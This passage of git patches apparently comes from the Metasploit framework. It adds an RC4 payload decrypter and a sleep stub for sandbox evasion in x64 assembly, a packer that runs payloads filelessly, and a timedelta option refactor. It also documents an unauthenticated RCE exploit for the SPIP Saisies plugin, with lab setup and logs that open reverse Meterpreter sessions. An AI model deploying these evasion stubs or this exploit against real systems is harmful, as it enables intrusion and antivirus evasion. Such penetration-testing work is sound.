[0xe5].pack('C') - - # Pad to data section - stub << ("\x90" * (STUB_KEY_SIZE_OFFSET - stub.length)) - - # Data section placeholders - stub << ("\x00" * 8) # key_size at 0xf8 - stub << ("\x00" * 8) # payload_size at 0x100 - stub << ("\x00" * 8) # encrypted_size at 0x108 - stub << ("\x00" * 256) # key_data at 0x110 - - stub + asm = <<-ASM +_start: + lea r12, [rip + _data_section - _rip_ref] +_rip_ref: + + ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0) + mov rsi, qword [r12 + 8] + xor edi, edi + mov edx, 7 + mov r10d, 0x22 + mov r8d, 0xffffffff + xor r9d, r9d + mov eax, 9 + syscall + mov r13, rax + + ;Initialize S-box (256 bytes) on stack + sub rsp, 256 + mov rdi, rsp + + xor ecx, ecx +_init_sbox: + mov byte [rdi + rcx], cl + inc ecx + cmp ecx, 256 + jne _init_sbox + + ; RC4 Key Scheduling Algorithm (KSA) + lea r8, [r12 + 24] + mov r9d, dword [r12] + xor ecx, ecx + xor edx, edx + +_ksa_loop: + movzx eax, byte [rdi + rcx] + add edx, eax + + mov eax, ecx +_mod_loop: + cmp eax, r9d + jb _mod_done + sub eax, r9d + jmp _mod_loop +_mod_done: + + movzx eax, byte [r8 + rax] + add edx, eax + and edx, 0xff + + movzx eax, byte [rdi + rcx] + movzx r10d, byte [rdi + rdx] + mov byte [rdi + rcx], r10b + mov byte [rdi + rdx], al + + inc ecx + cmp ecx, 256 + jne _ksa_loop + + ; RC4 Pseudo-Random Generation Algorithm + lea r8, [r12 + 280] + mov r9d, dword [r12 + 16] + xor ecx, ecx + xor edx, edx + xor r10d, r10d + +_prga_loop: + inc ecx + and ecx, 0xff + + movzx eax, byte [rdi + rcx] + add edx, eax + and edx, 0xff + + movzx eax, byte [rdi + rcx] + movzx r11d, byte [rdi + rdx] + mov byte [rdi + rcx], r11b + mov byte [rdi + rdx], al + + add eax, r11d + and eax, 0xff + movzx eax, byte [rdi + rax] + + xor al, byte [r8 + r10] + mov byte [r13 + r10], al + + inc r10d + cmp r10d, r9d + jne _prga_loop + + add rsp, 256 + jmp r13 + +_data_section: +; Data section layout (populated by rc4_decrypter): +; offset +0: key_size (8 bytes) +; offset +8: payload_size (8 bytes) +; offset +16: encrypted_size (8 bytes) +; offset +24: key_data (256 bytes) +; offset +280: encrypted_data (variable length) + ASM + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string end def rc4_decrypter(opts = {}) @@ -221,21 +110,31 @@ def rc4_decrypter(opts = {}) payload = opts[:data] || raise(ArgumentError, "Encrypted data required") encrypted_data = Rex::Crypto::Rc4.rc4(key, payload) - payload_size = encrypted_data.length stub = rc4_decrypter_stub.dup + code_size = stub.length + + # Data section offsets (relative to end of stub code) + key_size_offset = code_size + payload_size_offset = code_size + 8 + encrypted_size_offset = code_size + 16 + key_data_offset = code_size + 24 + encrypted_data_offset = code_size + 280 - stub[STUB_KEY_SIZE_OFFSET, 8] = [key.length].pack('Q<') - stub[STUB_PAYLOAD_SIZE_OFFSET, 8] = [payload.length].pack('Q<') - stub[STUB_ENCRYPTED_SIZE_OFFSET, 8] = [encrypted_data.length].pack('Q<') + # Allocate space for data section (24 bytes header + 256 bytes key) + stub << "\x00" * 280 - stub[STUB_KEY_DATA_OFFSET, 256] = key.ljust(256, "\x00") + # Patch in the values + stub[key_size_offset, 8] = [key.length].pack('Q<') + stub[payload_size_offset, 8] = [payload.length].pack('Q<') + stub[encrypted_size_offset, 8] = [encrypted_data.length].pack('Q<') + stub[key_data_offset, 256] = key.ljust(256, "\x00") stub + encrypted_data end def stub_size - STUB_ENCRYPTED_DATA_OFFSET + rc4_decrypter_stub.length + 280 end end \ No newline at end of file From 02d31dfbcb3b7bf4943c521fd6f4fecf4cc56eea Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 13 Feb 2026 14:34:41 +0100 Subject: [PATCH 007/103] changing jmp/call/pop instructions --- lib/msf/core/payload/linux/x64/rc4_decrypter.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb index fdf86151c45ea..ff96b350e8e80 100644 --- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb +++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb @@ -3,8 +3,10 @@ module Msf::Payload::Linux::X64::Rc4Decrypter def rc4_decrypter_stub asm = <<-ASM _start: - lea r12, [rip + _data_section - _rip_ref] -_rip_ref: + jmp _get_data_addr + +_got_data_addr: + pop r12 ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0) mov rsi, qword [r12 + 8] @@ -93,7 +95,8 @@ def rc4_decrypter_stub add rsp, 256 jmp r13 -_data_section: +_get_data_addr: + call _got_data_addr ; Data section layout (populated by rc4_decrypter): ; offset +0: key_size (8 bytes) ; offset +8: payload_size (8 bytes) From 57b17a45c247e43698d8850eba7befdbae3a9fc9 Mon Sep 17 00:00:00 2001 From: litemars Date: Wed, 18 Feb 2026 15:14:27 +0100 Subject: [PATCH 008/103] add comment on support of memfd_create Kernel>3.17 --- modules/evasion/linux/x64_rc4_packer.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb index 597b8735f914a..1f7db0118ed5f 100644 --- a/modules/evasion/linux/x64_rc4_packer.rb +++ b/modules/evasion/linux/x64_rc4_packer.rb @@ -17,12 +17,12 @@ def initialize(info = {}) 'Description' => %q{ This module generates a Linux ELF executable with RC4 encryption and optional sleep-based sandbox evasion. + + The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support. Features: - RC4 encryption with configurable key - - In-memory decryption and execution - - Optional sleep delay for sandbox evasion - - Position-independent shellcode + - Fileless execution via memfd_create }, 'Author' => ['Massimo Bertocchi'], 'License' => MSF_LICENSE, From b9b253743dd1544cb0c78e6d70e586446ab968c1 Mon Sep 17 00:00:00 2001 From: litemars <44295342+litemars@users.noreply.github.com> Date: Fri, 20 Feb 2026 17:43:22 +0100 Subject: [PATCH 009/103] Update modules/evasion/linux/x64_rc4_packer.rb Co-authored-by: msutovsky-r7 --- modules/evasion/linux/x64_rc4_packer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb index 1f7db0118ed5f..300b33bf5d1f2 100644 --- a/modules/evasion/linux/x64_rc4_packer.rb +++ b/modules/evasion/linux/x64_rc4_packer.rb @@ -42,7 +42,7 @@ def initialize(info = {}) def run raw_payload = payload.encoded - unless raw_payload && raw_payload.length > 0 + if raw_payload.blank? fail_with(Failure::BadConfig, "Failed to generate payload") end From cdd66793bfe6289d75b7fe4dd6f356fbfcabc3b2 Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 20 Feb 2026 17:53:24 +0100 Subject: [PATCH 010/103] updating the sleep evasion and the rc4_decrypter for x64 --- .../core/payload/linux/x64/rc4_decrypter.rb | 83 ++++++------------- .../core/payload/linux/x64/sleep_evasion.rb | 56 ++++--------- 2 files changed, 45 insertions(+), 94 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb index ff96b350e8e80..2e208dc94ac89 100644 --- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb +++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb @@ -1,6 +1,6 @@ module Msf::Payload::Linux::X64::Rc4Decrypter - def rc4_decrypter_stub + def rc4_decrypter_stub(key_size: 0, payload_size: 0, encrypted_size: 0) asm = <<-ASM _start: jmp _get_data_addr @@ -9,20 +9,19 @@ def rc4_decrypter_stub pop r12 ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0) - mov rsi, qword [r12 + 8] - xor edi, edi - mov edx, 7 - mov r10d, 0x22 + mov esi, #{payload_size} + xor edi, edi + mov edx, 7 + mov r10d, 0x22 mov r8d, 0xffffffff xor r9d, r9d mov eax, 9 syscall mov r13, rax - ;Initialize S-box (256 bytes) on stack - sub rsp, 256 + ; Initialize S-box (256 bytes) on stack + sub rsp, 256 mov rdi, rsp - xor ecx, ecx _init_sbox: mov byte [rdi + rcx], cl @@ -30,16 +29,14 @@ def rc4_decrypter_stub cmp ecx, 256 jne _init_sbox - ; RC4 Key Scheduling Algorithm (KSA) - lea r8, [r12 + 24] - mov r9d, dword [r12] + ; RC4 Key Scheduling Algorithm (KSA) + mov r8, r12 + mov r9d, #{key_size} xor ecx, ecx xor edx, edx - _ksa_loop: movzx eax, byte [rdi + rcx] add edx, eax - mov eax, ecx _mod_loop: cmp eax, r9d @@ -47,47 +44,38 @@ def rc4_decrypter_stub sub eax, r9d jmp _mod_loop _mod_done: - movzx eax, byte [r8 + rax] add edx, eax and edx, 0xff - movzx eax, byte [rdi + rcx] movzx r10d, byte [rdi + rdx] mov byte [rdi + rcx], r10b mov byte [rdi + rdx], al - inc ecx cmp ecx, 256 jne _ksa_loop - ; RC4 Pseudo-Random Generation Algorithm - lea r8, [r12 + 280] - mov r9d, dword [r12 + 16] + ; RC4 Pseudo-Random Generation Algorithm (PRGA) + lea r8, [r12 + 256] + mov r9d, #{encrypted_size} xor ecx, ecx xor edx, edx xor r10d, r10d - _prga_loop: inc ecx and ecx, 0xff - movzx eax, byte [rdi + rcx] add edx, eax and edx, 0xff - movzx eax, byte [rdi + rcx] movzx r11d, byte [rdi + rdx] mov byte [rdi + rcx], r11b mov byte [rdi + rdx], al - add eax, r11d and eax, 0xff movzx eax, byte [rdi + rax] - xor al, byte [r8 + r10] mov byte [r13 + r10], al - inc r10d cmp r10d, r9d jne _prga_loop @@ -97,47 +85,30 @@ def rc4_decrypter_stub _get_data_addr: call _got_data_addr -; Data section layout (populated by rc4_decrypter): -; offset +0: key_size (8 bytes) -; offset +8: payload_size (8 bytes) -; offset +16: encrypted_size (8 bytes) -; offset +24: key_data (256 bytes) -; offset +280: encrypted_data (variable length) + +; Data section layout: +; offset +0: key_data (256 bytes) +; offset +256: encrypted_data (variable length) ASM Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string end def rc4_decrypter(opts = {}) - key = opts[:key] || Rex::Text.rand_text(16) - payload = opts[:data] || raise(ArgumentError, "Encrypted data required") + key = opts[:key] || Rex::Text.rand_text(16) + payload = opts[:data] || raise(ArgumentError, "Encrypted data required") + raise(ArgumentError, "Key must be <= 256 bytes") if key.length > 256 encrypted_data = Rex::Crypto::Rc4.rc4(key, payload) - stub = rc4_decrypter_stub.dup - code_size = stub.length - - # Data section offsets (relative to end of stub code) - key_size_offset = code_size - payload_size_offset = code_size + 8 - encrypted_size_offset = code_size + 16 - key_data_offset = code_size + 24 - encrypted_data_offset = code_size + 280 - - # Allocate space for data section (24 bytes header + 256 bytes key) - stub << "\x00" * 280 - - # Patch in the values - stub[key_size_offset, 8] = [key.length].pack('Q<') - stub[payload_size_offset, 8] = [payload.length].pack('Q<') - stub[encrypted_size_offset, 8] = [encrypted_data.length].pack('Q<') - stub[key_data_offset, 256] = key.ljust(256, "\x00") - - stub + encrypted_data - end + stub = rc4_decrypter_stub( + key_size: key.length, + payload_size: payload.length, + encrypted_size: encrypted_data.length + ) - def stub_size - rc4_decrypter_stub.length + 280 + stub << key.ljust(256, "\x00") + stub << encrypted_data end end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/x64/sleep_evasion.rb b/lib/msf/core/payload/linux/x64/sleep_evasion.rb index d6ba7376ec0a5..be5dd70cceb9a 100644 --- a/lib/msf/core/payload/linux/x64/sleep_evasion.rb +++ b/lib/msf/core/payload/linux/x64/sleep_evasion.rb @@ -1,40 +1,20 @@ module Msf::Payload::Linux::X64::SleepEvasion - STUB_SLEEP_SECONDS_OFFSET = 0x02 - - def sleep_stub - stub = "" - - # 0x00: jmp 0x12 ; jump forward to code (skip data section) - stub << [0xeb, 0x10].pack('C*') - # 0x02: timespec.tv_sec (8 bytes) ; sleep duration in seconds (patched later) - stub << "\x00\x00\x00\x00\x00\x00\x00\x00" - # 0x0a: timespec.tv_nsec (8 bytes) ; nanoseconds component (always 0) - stub << "\x00\x00\x00\x00\x00\x00\x00\x00" - # 0x12: lea rdi, [rip-0x10] ; rdi -> timespec structure (RIP-relative addressing) - stub << [0x48, 0x8d, 0x3d, 0xf0, 0xff, 0xff, 0xff].pack('C*') - # 0x19: xor rsi, rsi ; rsi = NULL (remaining time pointer) - stub << [0x48, 0x31, 0xf6].pack('C*') - # 0x1c: mov rax, 35 ; syscall number for nanosleep (0x23) - stub << [0x48, 0xc7, 0xc0, 0x23, 0x00, 0x00, 0x00].pack('C*') - # 0x23: syscall ; invoke syscall - stub << [0x0f, 0x05].pack('C*') - # 0x25: execution continues to appended payload - - stub - end - - def sleep_evasion(opts = {}) - seconds = opts[:seconds] || 0 - return "" if seconds == 0 - - stub = sleep_stub.dup - stub[STUB_SLEEP_SECONDS_OFFSET, 8] = [seconds].pack('Q<') - stub - end - - def sleep_stub_size - 37 - end - -end + def sleep_evasion(opts = {}) + seconds = opts[:seconds] || rand(60) + asm = <<-ASM + ; nanosleep(×pec, NULL) + push 0 ; timespec.tv_nsec = 0 + push #{seconds} ; timespec.tv_sec = + mov rdi, rsp ; rdi -> timespec on stack + xor rsi, rsi ; rsi = NULL (remaining time pointer) + mov eax, 35 ; syscall number for nanosleep (0x23) + syscall ; invoke syscall + add rsp, 16 ; restore stack + ; execution continues to appended payload + ASM + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end \ No newline at end of file From ce2e23cceffd9cbfd3ec3cf6bf252a17ba0ea032 Mon Sep 17 00:00:00 2001 From: Nayeraneru Date: Fri, 20 Feb 2026 22:28:05 +0200 Subject: [PATCH 011/103] add OptTimedelta datastore option and remove Kerberos-specific clock skew parsing --- .../core/exploit/remote/kerberos/client.rb | 7 +- .../kerberos/service_authenticator/options.rb | 7 +- lib/msf/core/opt_timedelta.rb | 64 +++++++++++++++++++ lib/rex/proto/mssql/client.rb | 4 +- .../exploit/remote/kerberos/client_spec.rb | 7 ++ spec/lib/msf/core/opt_timedelta_spec.rb | 30 +++++++++ 6 files changed, 109 insertions(+), 10 deletions(-) create mode 100644 lib/msf/core/opt_timedelta.rb create mode 100644 spec/lib/msf/core/opt_timedelta_spec.rb diff --git a/lib/msf/core/exploit/remote/kerberos/client.rb b/lib/msf/core/exploit/remote/kerberos/client.rb index da33c67771947..41e7d55b0ff4e 100644 --- a/lib/msf/core/exploit/remote/kerberos/client.rb +++ b/lib/msf/core/exploit/remote/kerberos/client.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'msf/core/opt_timedelta' module Msf class Exploit @@ -45,8 +45,7 @@ def initialize(info = {}) register_advanced_options( [ - OptString.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'], - regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX) + OptTimedelta.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s']) ], self.class ) end @@ -90,7 +89,7 @@ def kerberos_clock_skew # # @param value [String, Numeric, nil] def kerberos_clock_skew=(value) - @kerberos_clock_skew = Msf::Exploit::Remote::Kerberos::ClockSkew.parse(value) + @kerberos_clock_skew = Msf::OptTimedelta.parse(value) end # Returns the current time adjusted for Kerberos clock skew in UTC. diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb index 7761f16283877..1d539e6de9a91 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb @@ -3,7 +3,7 @@ # # This class stores Metasploit option configuration used across service authentication # -require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'msf/core/opt_timedelta' module Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options # Create the list of options that a module must provide for Kerberos authentication via the given protocol @@ -38,10 +38,9 @@ def kerberos_auth_options(protocol:, auth_methods:) fallbacks: ['Rhostname'], conditions: option_conditions ), - Msf::OptString.new( + Msf::OptTimedelta.new( 'KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'], - regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX, conditions: option_conditions ), Msf::OptAddress.new( @@ -66,6 +65,6 @@ def kerberos_auth_options(protocol:, auth_methods:) # # @return [Float] def kerberos_clock_skew_seconds - Msf::Exploit::Remote::Kerberos::ClockSkew.parse(datastore['KrbClockSkew']) + Msf::OptTimedelta.parse(datastore['KrbClockSkew']) end end diff --git a/lib/msf/core/opt_timedelta.rb b/lib/msf/core/opt_timedelta.rb new file mode 100644 index 0000000000000..c4ac01931ad74 --- /dev/null +++ b/lib/msf/core/opt_timedelta.rb @@ -0,0 +1,64 @@ +# frozen_string_literal: true + +# -*- coding: binary -*- + +module Msf + class OptTimedelta < OptBase + TIMEDELTA_REGEX = /\A([+-]?\d+(?:\.\d+)?(?:[smhd])?)+\z/i.freeze + + UNIT_IN_SECONDS = { + 's' => 1, + 'm' => 60, + 'h' => 3_600, + 'd' => 86_400 + }.freeze + + attr_reader :allow_negative + + def initialize(in_name, attrs = [], allow_negative: true, **kwargs) + super(in_name, attrs, **kwargs) + @allow_negative = allow_negative + end + + def type + 'timedelta' + end + + def normalize(value) + self.class.parse(value) + end + + def valid?(value, check_empty: true, datastore: nil) + return false if check_empty && empty_required_value?(value) + + begin + parsed_value = self.class.parse(value) + rescue Msf::OptionValidateError + return false + end + + return false if !allow_negative && parsed_value.negative? + + super + end + + def self.parse(value) + return 0 if value.nil? + return value.to_f if value.is_a?(Numeric) + + trimmed_value = value.to_s.strip + return 0 if trimmed_value.empty? + return trimmed_value.to_f if trimmed_value.match?(/\A[+-]?\d+(?:\.\d+)?\z/) + raise Msf::OptionValidateError.new([], message: 'Invalid timedelta format') unless trimmed_value.match?(TIMEDELTA_REGEX) + + + total = 0 + trimmed_value.scan(/([+-]?\d+(?:\.\d+)?)([smhd]?)/i) do |amount, unit| + unit = 's' if unit.blank? + multiplier = UNIT_IN_SECONDS[unit.downcase] + total += amount.to_f * multiplier + end + total + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 7c3251ce826f8..c841fb71a8431 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -3,7 +3,7 @@ require 'rex/text' require 'msf/core/exploit' require 'msf/core/exploit/remote' -require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'msf/core/opt_timedelta' module Rex module Proto @@ -389,7 +389,7 @@ def login_kerberos(user, pass, db, domain_name) framework: framework, framework_module: framework_module, ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module), - clock_skew: Msf::Exploit::Remote::Kerberos::ClockSkew.parse(framework_module.datastore['KrbClockSkew']) + clock_skew: Msf::OptTimedelta.parse(framework_module.datastore['KrbClockSkew']) ) kerberos_result = kerberos_authenticator.authenticate diff --git a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb index 90e7890229a97..872c41aa51ae0 100644 --- a/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/kerberos/client_spec.rb @@ -11,6 +11,13 @@ mod end + + describe 'KrbClockSkew option' do + it 'is registered as an OptTimedelta datastore option' do + expect(subject.options['KrbClockSkew']).to be_a(Msf::OptTimedelta) + end + end + describe '#kerberos_clock_skew' do it 'defaults to zero' do expect(subject.kerberos_clock_skew).to eq(0) diff --git a/spec/lib/msf/core/opt_timedelta_spec.rb b/spec/lib/msf/core/opt_timedelta_spec.rb new file mode 100644 index 0000000000000..b43a5c9f0d622 --- /dev/null +++ b/spec/lib/msf/core/opt_timedelta_spec.rb @@ -0,0 +1,30 @@ +# -*- coding:binary -*- + +require 'spec_helper' + +RSpec.describe Msf::OptTimedelta do + valid_values = [ + { value: '120', normalized: 120.0 }, + { value: '-5m', normalized: -300.0 }, + { value: '1h30m', normalized: 5_400.0 }, + { value: '2d', normalized: 172_800.0 }, + { value: '+1.5h', normalized: 5_400.0 } + ] + + invalid_values = [ + { value: 'yolo' }, + { value: '1w' }, + { value: '5mfoo' } + ] + + it_behaves_like 'an option', valid_values, invalid_values, 'timedelta' + + describe '#valid?' do + it 'can enforce positive-only values' do + subject = described_class.new('Duration', [true, 'Duration'], allow_negative: false) + + expect(subject.valid?('5m')).to be(true) + expect(subject.valid?('-5m')).to be(false) + end + end +end \ No newline at end of file From a8f66a23d9e44301883b8fec3d46a2fdd0a34076 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 09:26:03 +0100 Subject: [PATCH 012/103] Feat: Add SPIP Saisies plugin RCE module (CVE-2025-71243) --- .../exploit/multi/http/spip_saisies_rce.md | 234 ++++++++++++++++++ lib/msf/core/exploit/remote/http/spip.rb | 22 ++ .../exploits/multi/http/spip_saisies_rce.rb | 228 +++++++++++++++++ 3 files changed, 484 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/spip_saisies_rce.md create mode 100644 modules/exploits/multi/http/spip_saisies_rce.rb diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md new file mode 100644 index 0000000000000..e678e3413dae9 --- /dev/null +++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md @@ -0,0 +1,234 @@ +## Vulnerable Application + +This module exploits an unauthenticated PHP code injection in the SPIP Saisies +plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated +unsanitized into a hidden field rendered with `interdire_scripts=false`, giving +direct PHP code execution via SPIP's template eval. + +Exploitation requires a publicly accessible page containing a saisies-powered +form, most commonly created with the Formidable plugin. Versions 5.4.0 through +5.11.0 of the saisies plugin are affected. + +### Docker Setup + +```bash +mkdir spip-lab && cd spip-lab +``` + +Create `docker-compose.yml`: + +```yaml +services: + spip: + image: ipeos/spip:latest + container_name: spip-cve + ports: + - "8888:80" + environment: + SPIP_AUTO_INSTALL: 1 + SPIP_DB_SERVER: mysql + SPIP_DB_HOST: db + SPIP_DB_LOGIN: spip + SPIP_DB_PASS: spip + SPIP_DB_NAME: spip + SPIP_ADMIN_NAME: Admin + SPIP_ADMIN_LOGIN: admin + SPIP_ADMIN_EMAIL: admin@spip.local + SPIP_ADMIN_PASS: adminadmin + SPIP_SITE_ADDRESS: http://localhost:8888 + volumes: + - ./setup.sh:/docker-entrypoint-init.d/setup.sh + depends_on: + db: + condition: service_healthy + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost/"] + interval: 10s + timeout: 5s + retries: 30 + + db: + image: mariadb:10.11 + container_name: spip-cve-db + environment: + MYSQL_DATABASE: spip + MYSQL_USER: spip + MYSQL_PASSWORD: spip + MYSQL_ROOT_PASSWORD: root + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 5s + timeout: 3s + retries: 10 +``` + +Create `setup.sh`: + +```bash +#!/bin/bash +set -e + +PLUGINS_DIR="/var/www/html/plugins" +SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip" + +echo "[*] Waiting for SPIP to be fully installed..." +until [ -f /var/www/html/config/connect.php ]; do + sleep 2 +done +sleep 5 + +echo "[*] Installing vulnerable saisies plugin v5.11.0..." +apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1 +mkdir -p "$PLUGINS_DIR" +curl -sL "$SAISIES_URL" -o /tmp/saisies.zip +unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/" +chown -R www-data:www-data "$PLUGINS_DIR/" + +echo "[*] Activating saisies plugin via database..." +until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do + sleep 2 +done + +php -r ' +require "/var/www/html/vendor/autoload.php"; +$_SERVER = array_merge($_SERVER, [ + "REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost", + "SERVER_PORT" => "80", "HTTP_HOST" => "localhost", + "REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php", + "SCRIPT_FILENAME" => "/var/www/html/setup.php", +]); +chdir("/var/www/html"); +require "ecrire/inc_version.php"; +include_spip("base/abstract_sql"); + +$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin")); +$plugins = unserialize($meta); +$plugins["SAISIES"] = [ + "dir" => "saisies", "dir_type" => "_DIR_PLUGINS", + "nom" => "Saisies", "etat" => "stable", "version" => "5.11.0" +]; +sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin")); +echo "Saisies activated\n"; +array_map("unlink", glob(_DIR_TMP . "*.php") ?: []); +' + +echo "[*] Creating contact form with _saisies..." +cat > /var/www/html/formulaires/contact.php << 'FORMPHP' + "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]], + ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]], + ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]], + ]; +} +function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; } +function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; } +function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; } +FORMPHP + +mkdir -p /var/www/html/squelettes +cat > /var/www/html/squelettes/contact.html << 'SQHTML' + +Contact#INSERT_HEAD +

Contact

#FORMULAIRE_CONTACT + +SQHTML + +chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/ +rm -rf /var/www/html/tmp/cache/ + +echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact" +``` + +```bash +chmod +x setup.sh +docker compose up -d +``` + +Wait a couple of minutes for the setup script to install saisies and create the +contact form. The form will be at `http://localhost:8888/spip.php?page=contact`. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/multi/http/spip_saisies_rce` +3. `set RHOSTS 127.0.0.1` +4. `set RPORT 8888` +5. `set LHOST ` +6. `check` - verify it returns `Appears` +7. `run` - verify a Meterpreter session opens + +## Options + +### FORM_PAGE + +Page containing a saisies-powered form. Set to a specific page name (e.g. +`contact`) if you already know which page has the form, or leave as `crawl` +(default) to automatically discover one by fetching the SPIP sitemap and +following internal links. + +### CRAWL_MAX_PAGES + +Maximum number of pages to visit when crawling. Default is 100. + +## Scenarios + +### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page) + +``` +msf6 > use exploit/multi/http/spip_saisies_rce +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 +RPORT => 8889 +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact +FORM_PAGE => contact +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp +PAYLOAD => php/meterpreter/reverse_tcp +msf6 exploit(multi/http/spip_saisies_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Saisies plugin version: 5.11.0 +[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). +[+] Form found at /spip.php?page=contact +[*] Sending payload... +[*] Sending stage (42137 bytes) to 172.18.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100 + +meterpreter > +``` + +### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode) + +``` +msf6 > use exploit/multi/http/spip_saisies_rce +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 +RPORT => 8889 +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl +FORM_PAGE => crawl +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp +PAYLOAD => php/meterpreter/reverse_tcp +msf6 exploit(multi/http/spip_saisies_rce) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Saisies plugin version: 5.11.0 +[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). +[*] Crawling for saisies forms (max 100 pages)... +[+] Form found at /spip.php?page=contact (checked 3 pages) +[*] Sending payload... +[*] Sending stage (42137 bytes) to 172.18.0.3 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100 